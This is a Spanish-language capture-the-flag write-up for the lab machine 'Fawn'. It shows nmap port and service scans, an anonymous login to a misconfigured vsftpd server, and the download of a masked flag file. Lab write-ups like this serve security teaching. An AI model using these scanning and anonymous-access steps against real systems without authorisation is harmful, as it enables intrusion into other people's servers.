😐

[ noØfunny ]

Fawn

Explora el Protocolo de Transferencia de Archivos (FTP) y su explotación cuando se configura incorrectamente para permitir el acceso anónimo.

Fawn

Enumeration

Escaneamos todos los puertos con nmap para ver cuáles están abiertos y qué servicios corren en ellos.

sudo nmap -p- -sS --min-rate 5000 -Pn -n -vv -oA nmap/allports 10.129.1.14
PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack ttl 63

Escaneamos el puerto abierto para ver más detalles del servicio que está corriendo en él.

nmap -p 21 -sCV -oA nmap/openports 10.129.1.14
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0              32 Jun 04  2021 flag.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.15.57
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
Service Info: OS: Unix

Exploitation

El servicio FTP permite iniciar sesión de forma anónima. Nos conectamos a él. Cuando nos pide el nombre del usuario ingresamos anonymous y la contraseña la dejamos vacía.

ftp 10.129.1.14
Connected to 10.129.1.14.
220 (vsFTPd 3.0.3)
Name (10.129.1.14:melvin): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

Una vez conectados con el comando help vemos todos los comandos que podemos usar.

help
Commands may be abbreviated.  Commands are:

!		dir		macdef		proxy		site
$		disconnect	mdelete		sendport	size
account		epsv4		mdir		put		status
append		form		mget		pwd		struct
ascii		get		mkdir		quit		system
bell		glob		mls		quote		sunique
binary		hash		mode		recv		tenex
bye		help		modtime		reget		trace
case		idle		mput		rstatus		type
cd		image		newer		rhelp		user
cdup		ipany		nmap		rename		umask
chmod		ipv4		nlist		reset		verbose
close		ipv6		ntrans		restart		?
cr		lcd		open		rmdir
delete		lpwd		passive		runique
debug		ls		prompt		send

Para ver que hace cada comando se lo pasamos como argumento al comando help.

help ls
ls        	list contents of remote directory

Listamos el contenido del directorio en el que nos encontramos dentro del servicio ftp.

ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0              32 Jun 04  2021 flag.txt
226 Directory send OK.

Descargamos el archivo flag.txt con el comando get.

get flag.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for flag.txt (32 bytes).
226 Transfer complete.
32 bytes received in 0.0016 seconds (19.0242 kbytes/s)

Cerramos la sesión de ftp.

bye
221 Goodbye.

Y leemos el contenido de la flag.

cat flag.txt

Flag

Flag

0******************************5